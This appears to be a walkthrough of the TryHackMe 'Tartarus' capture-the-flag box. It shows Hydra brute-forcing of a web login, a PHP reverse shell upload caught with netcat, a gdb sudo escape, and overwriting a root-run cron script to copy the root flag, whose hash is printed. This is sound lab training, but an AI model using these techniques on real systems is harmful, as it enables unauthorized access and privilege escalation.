Nmap
It always amazes me the number of different things a simple nmap scan might call out. I assume it's because of my lack of experience, but I constantly forget to just check robots.txt
.
robots.txt
User-Agent: *
Disallow : /admin-dir
I told d4rckh we should hide our things deep.
There are two files sitting there in /admin-dir
: credentials.txt
and userid
. We may also have seen a username of d4rckh
.
Anonymous FTP
One thing I do tend to remember to try manually is anonymous FTP if the FTP service is running. This box does allow anonymous FTP, and if you look closely, you'll see something a little out of place:
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 .
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ..
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ...
-rw-r--r-- 1 ftp ftp 17 Jul 05 21:45 test.txt
In *nix operating systems, .
is the current directory, and ..
leads one directory "upwards" in the filesystem hierarchy. So what the heck is ...
? Well you can make a directory with that name, so let's go look into it.
ftp> cd ...
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 .
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ..
drwxr-xr-x 2 ftp ftp 4096 Jul 05 21:31 ...
226 Directory send OK.
ftp> cd ...
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jul 05 21:31 .
drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ..
-rw-r--r-- 1 ftp ftp 14 Jul 05 21:45 yougotgoodeyes.txt
226 Directory send OK.
Neato. That file contains just one line, /sUp3r-s3cr3t
. So that's either a directory within the FTP service or the HTTP service. Turns out it's a path served in the HTTP service, which shows a login form. Since we already found files that appear to contain usernames and maybe passwords. We can set Hydra to work on it. As always, we can drastically speed this up if the site leaks some information on each attempt. The common way that CTFs intentionally leak information is by returning a different response if you get the username right or wrong. This box returns a response containing "Incorrect username!" so we can search through usernames first. Once we get a response not containing that, we can go through passwords until the response if not "Incorrect password!"
kali@kali:~/ctf/thm/tartarus$ hydra -L ./userid -p foo "http-post-form://10.10.169.212/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect username"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-11 19:33:34
[DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:13/p:1), ~1 try per task
[DATA] attacking http-post-form://10.10.169.212:80/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect username
[80][http-post-form] host: 10.10.169.212 login: enox password: foo
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-11 19:33:36
kali@kali:~/ctf/thm/tartarus$ hydra -l enox -P credentials.txt "http-post-form://10.10.169.212/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect password"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-11 19:34:26
[DATA] max 16 tasks per 1 server, overall 16 tasks, 101 login tries (l:1/p:101), ~7 tries per task
[DATA] attacking http-post-form://10.10.169.212:80/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect password
[80][http-post-form] host: 10.10.169.212 login: enox password: P@ssword1234
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-11 19:34:28
Successfully logging in via this web form leads to a page with what appears to be the ability to upload files. But upload to where? After a couple of wrong guesses it's time to lean on the tools again.
Gobuster to find where uploads might go
kali@kali:~/ctf/thm/tartarus$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.48.196/sUp3r-s3cr3t/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.48.196/sUp3r-s3cr3t/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/13 19:28:58 Starting gobuster
===============================================================
/images (Status: 301)
Obtain a shell, start poking around
Cool, cool. sUp3r-s3cr3t/images/uploads
. Let's upload a reverse shell since the server is running PHP anyways. We'll use our handy [PHP Reverse Shell]() and listen on the attacking machine.
kali@kali:~/ctf/thm/tartarus$ nc -lvp 4444
listening on [any] 4444 ...
10.10.48.196: inverse host lookup failed: Unknown host
connect to [10.2.41.105] from (UNKNOWN) [10.10.48.196] 40156
Linux ubuntu-xenial 4.4.0-184-generic #214-Ubuntu SMP Thu Jun 4 10:14:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
02:33:24 up 8 min, 0 users, load average: 0.00, 0.36, 0.31
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cd /home
$ ls
cleanup
d4rckh
thirtytwo
$ cd cleanup
$ ls
$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Jul 5 21:35 .
drwxr-xr-x 5 root root 4096 Jul 5 21:45 ..
$ cd ..
$ cd thirtytwo
$ ls -la
total 16
drwxr-xr-x 2 thirtytwo thirtytwo 4096 Jul 5 21:38 .
drwxr-xr-x 5 root root 4096 Jul 5 21:45 ..
-rw------- 1 1002 1002 56 Jul 5 21:39 .bash_history
-rwxr-xr-x 1 root root 143 Jul 5 21:45 note.txt
$ cat note.txt
Hey 32, the other day you were unable to clone my github repository.
Now you can use git. Took a while to fix it but now its good :)
~D4rckh
$
We're looking for two things at this point. #1 a flag in a user directory, #2 a flag in the root directory or owned by root. We may need a privilege escalation in order to one or both of these. This note led me to believe I'd be using git
somehow. I started looking at what this account can run with sudo
.
www-data@ubuntu-xenial:/home$ ls -la
ls -la
total 20
drwxr-xr-x 5 root root 4096 Jul 5 21:45 .
drwxr-xr-x 24 root root 4096 Oct 14 03:33 ..
drwxr-xr-x 2 root root 4096 Jul 5 21:35 cleanup
drwxr-xr-x 2 d4rckh d4rckh 4096 Jul 5 21:35 d4rckh
drwxr-xr-x 2 thirtytwo thirtytwo 4096 Jul 5 21:38 thirtytwo
www-data@ubuntu-xenial:/home$ cd d4rckh
cd d4rckh
www-data@ubuntu-xenial:/home/d4rckh$ ls -la
ls -la
total 16
drwxr-xr-x 2 d4rckh d4rckh 4096 Jul 5 21:35 .
drwxr-xr-x 5 root root 4096 Jul 5 21:45 ..
-rwxrwxrwx 1 root root 129 Jul 5 21:45 cleanup.py
-rw-r--r-- 1 d4rckh d4rckh 33 Jul 5 21:45 user.txt
Well, user.txt
is world readable so that takes care of that. On to privilege escalation!
www-data@ubuntu-xenial:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu-xenial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-xenial:
(thirtytwo) NOPASSWD: /var/www/gdb
Ok, for some reason we can run gdb
as the user thirtytwo
. I know I can run shell commands from within gdb
so maybe I can then find out what thirtytwo
can run via sudo
www-data@ubuntu-xenial:/$ sudo -u thirtytwo /var/www/gdb
sudo -u thirtytwo /var/www/gdb
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) shell whoami
shell whoami
thirtytwo
(gdb) shell sudo -l
shell sudo -l
Matching Defaults entries for thirtytwo on ubuntu-xenial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User thirtytwo may run the following commands on ubuntu-xenial:
(d4rckh) NOPASSWD: /usr/bin/git
(gdb)
More evidence that git
will be involved. I poked around a bit at being able to run shell commands via git commands and thought maybe git shell
. But didn't get far before I started wondering about that cleanup.py
script. Taking another look, it's executable by all and owned by root
. Ho ho ho! What if root
executes that file somehow. Like an automated thing? Let's look for cron
jobs.
thirtytwo@ubuntu-xenial:~$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/2 * * * * root python /home/d4rckh/cleanup.py
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
Yippee, the script gets executed every 2 minutes, as root, and we can write it. Let's replace it with a script that takes a wild guess and copies /root/root.txt
to somewhere we can read it.
#!/usr/bin/env python
import os
import sys
try:
os.system('cp /root/root.txt /home/thirtytwo/.')
os.system('chmod +r /home/thirtytwo/root.txt')
except:
sys.exit()
How do we replace that script when our shell is not fully interactive so editors seem to bork and I can't be bothered to just cat the whole thing to a file from the command line? Upload it the same way we uploaded the reverse shell in the first place. Let's confirm it replaced:
thirtytwo@ubuntu-xenial:~$ cd ../d4rckh
cd ../d4rckh
thirtytwo@ubuntu-xenial:/home/d4rckh$ ls -la
ls -la
total 16
drwxr-xr-x 2 d4rckh d4rckh 4096 Jul 5 21:35 .
drwxr-xr-x 5 root root 4096 Jul 5 21:45 ..
-rwxrwxrwx 1 root root 175 Oct 14 03:14 cleanup.py
-rw-r--r-- 1 d4rckh d4rckh 33 Jul 5 21:45 user.txt
thirtytwo@ubuntu-xenial:/home/d4rckh$ cat cleanup.py
cat cleanup.py
#!/usr/bin/env python
import os
import sys
try:
os.system('cp /root/root.txt /home/thirtytwo/.')
os.system('chmod +r /home/thirtytwo/root.txt')
except:
sys.exit()
And we wait....
thirtytwo@ubuntu-xenial:~$ ls -la
ls -la
total 32
drwxr-xr-x 4 thirtytwo thirtytwo 4096 Oct 14 03:16 .
drwxr-xr-x 5 root root 4096 Jul 5 21:45 ..
-rw------- 1 1002 1002 56 Jul 5 21:39 .bash_history
drwxr-xr-x 2 thirtytwo thirtytwo 4096 Oct 14 03:07 .nano
-rw------- 1 thirtytwo thirtytwo 615 Oct 14 03:08 .viminfo
drwxr-xr-x 2 thirtytwo thirtytwo 4096 Oct 14 02:55 git-shell-commands
-rwxr-xr-x 1 root root 143 Jul 5 21:45 note.txt
-rw-r--r-- 1 root root 33 Oct 14 03:16 root.txt
thirtytwo@ubuntu-xenial:~$ cat root.txt
cat root.txt
7e055812184a5fa5109d5db5c7eda7cd
thirtytwo@ubuntu-xenial:~$
Yay. We win. It would probably be good to go back through this one and see if there is a way to accomplish it using git
somehow after all though.